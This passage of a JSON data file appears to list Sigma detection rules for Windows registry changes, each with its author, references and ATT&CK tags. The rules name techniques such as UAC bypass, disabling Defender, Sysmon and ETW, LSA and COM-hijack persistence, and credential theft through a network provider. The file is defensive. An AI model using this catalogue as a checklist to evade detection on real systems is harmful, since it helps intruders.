"logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.003/T1547.003.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_timeproviders_dllname.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.t1547.003" ] }, "related": [ { "dest-uuid": "61afc315-860c-4364-825d-0d62b2e91edc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e88a6ddc-74f7-463b-9b26-f69fc0d2ce85", "value": "Set TimeProviders DllName" }, { "description": "Detects the creation of user-specific or system-wide environement variables via the registry. Which contains suspicious commands and strings", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/20", "falsepositive": [ "Unknown" ], "filename": "registry_set_suspicious_env_variables.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://infosec.exchange/@sbousseaden/109542254124022664", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_suspicious_env_variables.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence" ] }, "uuid": "966315ef-c5e1-4767-ba25-fce9c8de3660", "value": "Suspicious Environment Variable Has Been Registered" }, { "description": "Detect change of the user account associated with the FAX service to avoid the escalation problem.", "meta": { "author": "frack113", "creation_date": "2022/07/17", "falsepositive": [ "Unknown" ], "filename": "registry_set_fax_change_service_user.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://raw.githubusercontent.com/RiccardoAncarani/talks/master/F-Secure/unorthodox-lateral-movement.pdf", "https://twitter.com/dottor_morte/status/1544652325570191361", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_fax_change_service_user.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112" ] }, "uuid": "e3fdf743-f05b-4051-990a-b66919be1743", "value": "Change User Account Associated with the FAX Service" }, { "description": "Administrative shares are hidden network shares created by Microsoft Windows NT operating systems that grant system administrators remote access to every disk volume on a network-connected system", "meta": { "author": "frack113", "creation_date": "2022/01/16", "falsepositive": [ "Unknown" ], "filename": "registry_set_disable_administrative_share.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md#atomic-test-4---disable-administrative-share-creation-at-startup", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_administrative_share.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.005" ] }, "related": [ { "dest-uuid": "a750a9f6-0bde-4bb3-9aae-1e2786e9780c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c7dcacd0-cc59-4004-b0a4-1d6cdebe6f3e", "value": "Disable Administrative Share Creation at Startup" }, { "description": "Detects disabling Windows Defender Exploit Guard Network Protection", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/04", "falsepositive": [ "Unknown" ], "filename": "registry_set_disabled_exploit_guard_net_protection_on_ms_defender.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://www.tenforums.com/tutorials/105533-enable-disable-windows-defender-exploit-protection-settings.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_exploit_guard_net_protection_on_ms_defender.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "bf9e1387-b040-4393-9851-1598f8ecfae9", "value": "Disable Exploit Guard Network Protection on Windows Defender" }, { "description": "Detects when an attacker modifies the \"REG_MULTI_SZ\" value named \"Extensions\" to include a custom DLL to achieve persistence via lsass.\nThe \"Extensions\" list contains filenames of DLLs being automatically loaded by lsass.exe. Each DLL has its InitializeLsaExtension() method called after loading.\n", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/21", "falsepositive": [ "Unlikely" ], "filename": "registry_set_persistence_lsa_extension.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://twitter.com/0gtweet/status/1476286368385019906", "https://persistence-info.github.io/Data/lsaaextension.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_lsa_extension.yml" ], "tags": [ "attack.persistence" ] }, "uuid": "41f6531d-af6e-4c6e-918f-b946f2b85a36", "value": "Potential Persistence Via LSA Extensions" }, { "description": "Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification", "meta": { "author": "frack113", "creation_date": "2022/01/05", "falsepositive": [ "Unknown" ], "filename": "registry_set_bypass_uac_using_eventviewer.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-1---bypass-uac-using-event-viewer-cmd", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_eventviewer.yml" ], "tags": [ "attack.persistence", "attack.t1547.010" ] }, "related": [ { "dest-uuid": "43881e51-ac74-445b-b4c6-f9f9e9bf23fe", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "674202d0-b22a-4af4-ae5f-2eda1f3da1af", "value": "Bypass UAC Using Event Viewer" }, { "description": "Detects a new and suspicious printer port creation in Registry that could be an attempt to exploit CVE-2020-1048", "meta": { "author": "EagleEye Team, Florian Roth, NVISO", "creation_date": "2020/05/13", "falsepositive": [ "New printer port install on host" ], "filename": "registry_set_cve_2020_1048_new_printer_port.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://windows-internals.com/printdemon-cve-2020-1048/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cve_2020_1048_new_printer_port.yml" ], "tags": [ "attack.persistence", "attack.execution", "attack.defense_evasion", "attack.t1112" ] }, "uuid": "7ec912f2-5175-4868-b811-ec13ad0f8567", "value": "Suspicious New Printer Ports in Registry (CVE-2020-1048)" }, { "description": "Enable Dynamic Data Exchange protocol (DDE) in all supported editions of Microsoft Word or Excel.", "meta": { "author": "frack113", "creation_date": "2022/02/26", "falsepositive": [ "Unknown" ], "filename": "registry_set_office_enable_dde.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://msrc.microsoft.com/update-guide/vulnerability/ADV170021", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_enable_dde.yml" ], "tags": [ "attack.execution", "attack.t1559.002" ] }, "related": [ { "dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "63647769-326d-4dde-a419-b925cc0caf42", "value": "Enable Microsoft Dynamic Data Exchange" }, { "description": "A General detection for a new application in AppCompat. This indicates an application executing for the first time on an endpoint.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/05/02", "falsepositive": [ "This rule is to explore new applications on an endpoint. False positives depends on the organization.", "Newly setup system.", "Legitimate installation of new application." ], "filename": "registry_set_new_application_appcompat.yml", "level": "informational", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/OTRF/detection-hackathon-apt29/issues/1", "https://threathunterplaybook.com/evals/apt29/detections/1.A.1_DFD6A782-9BDB-4550-AB6B-525E825B095E.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_new_application_appcompat.yml" ], "tags": [ "attack.execution", "attack.t1204.002" ] }, "related": [ { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "60936b49-fca0-4f32-993d-7415edcf9a5d", "value": "New Application in AppCompat" }, { "description": "Detects when an attacker or tool disables the Windows Defender service (WinDefend) via the registry", "meta": { "author": "Ján Trenčanský, frack113, AlertIQ, Nasreddine Bencherchali", "creation_date": "2022/08/01", "falsepositive": [ "Administrator actions" ], "filename": "registry_set_disable_windows_defender_service.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", "https://gist.github.com/anadr/7465a9fde63d41341136949f14c21105", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_windows_defender_service.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "e1aa95de-610a-427d-b9e7-9b46cfafbe6a", "value": "Windows Defender Service Disabled" }, { "description": "Detects registry key established after masqueraded .scr file execution using Rundll32 through desk.cpl", "meta": { "author": "Jose Luis Sanchez Martinez (@Joseliyo_Jstnk)", "creation_date": "2022/05/04", "falsepositive": [ "Legitimate use of screen saver" ], "filename": "registry_set_scr_file_executed_by_rundll32.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://jstnk9.github.io/jstnk9/research/InstallScreenSaver-SCR-files", "https://twitter.com/pabraeken/status/998627081360695297", "https://twitter.com/VakninHai/status/1517027824984547329", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_scr_file_executed_by_rundll32.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.011" ] }, "related": [ { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "40b6e656-4e11-4c0c-8772-c1cc6dae34ce", "value": "ScreenSaver Registry Key Set" }, { "description": "Detects change the the \"AutodialDLL\" key which could be used as a persistence method to load custom DLL via the \"ws2_32\" library", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/10", "falsepositive": [ "Unlikely" ], "filename": "registry_set_persistence_autodial_dll.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://persistence-info.github.io/Data/autodialdll.html", "https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_autodial_dll.yml" ], "tags": [ "attack.persistence" ] }, "uuid": "e6fe26ee-d063-4f5b-b007-39e90aaf50e3", "value": "Potential Persistence Via AutodialDLL" }, { "description": "Detect modification of the startup key to a path where a payload could be stored to be launched during startup", "meta": { "author": "frack113", "creation_date": "2022/10/01", "falsepositive": [ "Unknown" ], "filename": "registry_set_susp_user_shell_folders.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1547.001/T1547.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_user_shell_folders.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.t1547.001" ] }, "uuid": "9c226817-8dc9-46c2-a58d-66655aafd7dc", "value": "Modify User Shell Folders Startup Value" }, { "description": "Detects changes in Sysmon driver altitude. If the Sysmon driver is configured to load at an altitude of another registered service, it will fail to load at boot.", "meta": { "author": "B.Talebi", "creation_date": "2022/07/28", "falsepositive": [ "Legitimate driver altitude change to hide sysmon" ], "filename": "registry_set_change_sysmon_driver_altitude.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://posts.specterops.io/shhmon-silencing-sysmon-via-driver-unload-682b5be57650", "https://youtu.be/zSihR3lTf7g", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_sysmon_driver_altitude.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "4916a35e-bfc4-47d0-8e25-a003d7067061", "value": "Disable Sysmon Event Logging Via Registry" }, { "description": "Detects modification of autostart extensibility point (ASEP) in registry.", "meta": { "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", "creation_date": "2019/10/25", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason" ], "filename": "registry_set_asep_reg_keys_modification_currentversion.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentversion.yml" ], "tags": [ "attack.persistence", "attack.t1547.001" ] }, "uuid": "20f0ee37-5942-4e45-b7d5-c5b5db9df5cd", "value": "CurrentVersion Autorun Keys Modification" }, { "description": "Detects modifications to the hidden files keys in registry. This technique is abused by several malware families to hide their files from normal users.", "meta": { "author": "frack113", "creation_date": "2022/04/02", "falsepositive": [ "Unknown" ], "filename": "registry_set_hide_file.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md#atomic-test-8---hide-files-through-registry", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_file.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564.001" ] }, "related": [ { "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5a5152f1-463f-436b-b2f5-8eceb3964b42", "value": "Modification of Explorer Hidden Keys" }, { "description": "Hides the file extension through modification of the registry", "meta": { "author": "frack113", "creation_date": "2022/01/22", "falsepositive": [ "Administrative scripts" ], "filename": "registry_set_hidden_extention.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=TrojanSpy%3aMSIL%2fHakey.A", "https://unit42.paloaltonetworks.com/ransomware-families/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-1---modify-registry-of-current-user-profile---cmd", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hidden_extention.yml" ], "tags": [ "attack.persistence", "attack.t1137" ] }, "related": [ { "dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5df86130-4e95-4a54-90f7-26541b40aec2", "value": "Registry Modification to Hidden File Extension" }, { "description": "Detects javaw.exe in AppData folder as used by Adwind / JRAT", "meta": { "author": "Florian Roth, Tom Ueltschi, Jonhnathan Ribeiro, oscd.community", "creation_date": "2017/11/10", "falsepositive": "No established falsepositives", "filename": "registry_set_mal_adwind.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf", "https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_mal_adwind.yml" ], "tags": [ "attack.execution", "attack.t1059.005", "attack.t1059.007" ] }, "related": [ { "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "42f0e038-767e-4b85-9d96-2c6335bad0b5", "value": "Adwind RAT / JRAT - Registry" }, { "description": "There is an auto-elevated task called SilentCleanup located in %windir%\\system32\\cleanmgr.exe This can be abused to elevate any file with Administrator privileges without prompting UAC", "meta": { "author": "frack113", "creation_date": "2022/01/06", "falsepositive": [ "Unknown" ], "filename": "registry_set_bypass_uac_using_silentcleanup_task.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-9---bypass-uac-using-silentcleanup-task", "https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_silentcleanup_task.yml" ], "tags": [ "attack.privilege_escalation", "attack.defense_evasion", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "724ea201-6514-4f38-9739-e5973c34f49a", "value": "Bypass UAC Using SilentCleanup Task" }, { "description": "Disable Microsoft Office Security Features by registry", "meta": { "author": "frack113", "creation_date": "2021/06/08", "falsepositive": [ "Unknown" ], "filename": "registry_set_disable_microsoft_office_security_features.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/", "https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_microsoft_office_security_features.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "7c637634-c95d-4bbf-b26c-a82510874b34", "value": "Disable Microsoft Office Security Features" }, { "description": "Detects installation of NalDrv or PROCEXP152 services via registry-keys to non-system32 folders.\nBoth services are used in the tool Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU (https://github.com/hfiref0x/KDU)\n", "meta": { "author": "xknow (@xknow_infosec), xorxes (@xor_xes)", "creation_date": "2019/04/08", "falsepositive": [ "Other legimate tools using this service names and drivers. Note - clever attackers may easily bypass this detection by just renaming the services. Therefore just Medium-level and don't rely on it." ], "filename": "registry_set_susp_service_installed.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://web.archive.org/web/20200419024230/https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_service_installed.yml" ], "tags": [ "attack.t1562.001", "attack.defense_evasion" ] }, "uuid": "f2485272-a156-4773-82d7-1d178bc4905b", "value": "Suspicious Service Installed" }, { "description": "Detects tampering with the MacroRuntimeScanScope registry key to disable runtime scanning of enabled macros", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/25", "falsepositive": [ "Unknown" ], "filename": "registry_set_disable_macroruntimescanscope.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/S3cur3Th1sSh1t/OffensiveVBA/blob/28cc6a2802d8176195ac19b3c8e9a749009a82a3/src/AMSIbypasses.vba", "https://admx.help/?Category=Office2016&Policy=office16.Office.Microsoft.Policies.Windows::L_MacroRuntimeScanScope", "https://www.microsoft.com/en-us/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_macroruntimescanscope.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "ab871450-37dc-4a3a-997f-6662aa8ae0f1", "value": "Disable Macro Runtime Scan Scope" }, { "description": "Detects when a user enables DNS-over-HTTPS.\nThis can be used to hide internet activity or be used to hide the process of exfiltrating data.\nWith this enabled organization will lose visibility into data such as query type, response and originating IP that are used to determine bad actors.\n", "meta": { "author": "Austin Songer", "creation_date": "2021/07/22", "falsepositive": [ "Unlikely" ], "filename": "registry_set_dns_over_https_enabled.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/elastic/detection-rules/issues/1371", "https://chromeenterprise.google/policies/?policy=DnsOverHttpsMode", "https://admx.help/HKLM/Software/Policies/Mozilla/Firefox/DNSOverHTTPS", "https://www.tenforums.com/tutorials/151318-how-enable-disable-dns-over-https-doh-microsoft-edge.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dns_over_https_enabled.yml" ], "tags": [ "attack.defense_evasion", "attack.t1140", "attack.t1112" ] }, "related": [ { "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "04b45a8a-d11d-49e4-9acc-4a1b524407a5", "value": "DNS-over-HTTPS Enabled by Registry" }, { "description": "Detect set UseActionCenterExperience to 0 to disable the windows security center notification", "meta": { "author": "frack113", "creation_date": "2022/08/19", "falsepositive": [ "Unknown" ], "filename": "registry_set_disable_security_center_notifications.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_security_center_notifications.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112" ] }, "uuid": "3ae1a046-f7db-439d-b7ce-b8b366b81fa6", "value": "Disable Windows Security Center Notifications" }, { "description": "Detects when the \"index\" value of a scheduled task is modified from the registry\nWhich effectively hides it from any tooling such as \"schtasks /query\" (Read the referenced link for more information about the effects of this technique)\n", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/26", "falsepositive": [ "Unlikely" ], "filename": "registry_set_hide_scheduled_task_via_index_tamper.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_scheduled_task_via_index_tamper.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562" ] }, "related": [ { "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5b16df71-8615-4f7f-ac9b-6c43c0509e61", "value": "Hide Schedule Task Via Index Value Tamper" }, { "description": "Detects tampering of autologger trace sessions which is a technique used by attackers to disable logging", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/01", "falsepositive": [ "Unknown" ], "filename": "registry_set_disable_autologger_sessions.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://twitter.com/MichalKoczwara/status/1553634816016498688", "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", "https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_autologger_sessions.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "f37b4bce-49d0-4087-9f5b-58bffda77316", "value": "AutoLogger Sessions Tamper" }, { "description": "Potential adversaries stopping ETW providers recording loaded .NET assemblies.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/06/05", "falsepositive": [ "Unknown" ], "filename": "registry_set_dot_net_etw_tamper.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38", "https://blog.xpnsec.com/hiding-your-dotnet-complus-etwenabled/", "https://twitter.com/_xpn_/status/1268712093928378368", "http://managed670.rssing.com/chan-5590147/all_p1.html", "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", "https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf", "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr", "https://bunnyinside.com/?term=f71e8cb9c76a", "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dot_net_etw_tamper.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112", "attack.t1562" ] }, "related": [ { "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "bf4fc428-dcc3-4bbd-99fe-2422aeee2544", "value": "ETW Logging Disabled In .NET Processes - Sysmon Registry" }, { "description": "Detects potential COM object hijacking where the \"Server\" (In/Out) is pointing to a supsicious or unsuale location", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/28", "falsepositive": [ "Probable legitimate applications. If you find these please add them to an exclusion list" ], "filename": "registry_set_persistence_com_hijacking_susp_locations.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/ (idea)", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_com_hijacking_susp_locations.yml" ], "tags": [ "attack.persistence", "attack.t1546.015" ] }, "related": [ { "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3d968d17-ffa4-4bc0-bfdc-f139de76ce77", "value": "Potential Persistence Via COM Hijacking From Suspicious Locations" }, { "description": "Detects modification of autostart extensibility point (ASEP) in registry.", "meta": { "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", "creation_date": "2019/10/25", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason" ], "filename": "registry_set_asep_reg_keys_modification_internet_explorer.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_internet_explorer.yml" ], "tags": [ "attack.persistence", "attack.t1547.001" ] }, "uuid": "a80f662f-022f-4429-9b8c-b1a41aaa6688", "value": "Internet Explorer Autorun Keys Modification" }, { "description": "Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/23", "falsepositive": [ "Other legitimate network providers used and not filtred in this rule" ], "filename": "registry_set_new_network_provider.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/network-provider-settings-removed-in-place-upgrade", "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_new_network_provider.yml" ], "tags": [ "attack.credential_access", "attack.t1003" ] }, "related": [ { "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0442defa-b4a2-41c9-ae2c-ea7042fc4701", "value": "New Network Provider - Registry" }, { "description": "Detects registry modifications that change features of internal Windows tools (malware like Agent Tesla uses this technique)", "meta": { "author": "frack113, Nasreddine Bencherchali", "creation_date": "2022/03/18", "falsepositive": [ "Legitimate admin script" ], "filename": "registry_set_disable_function_user.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ 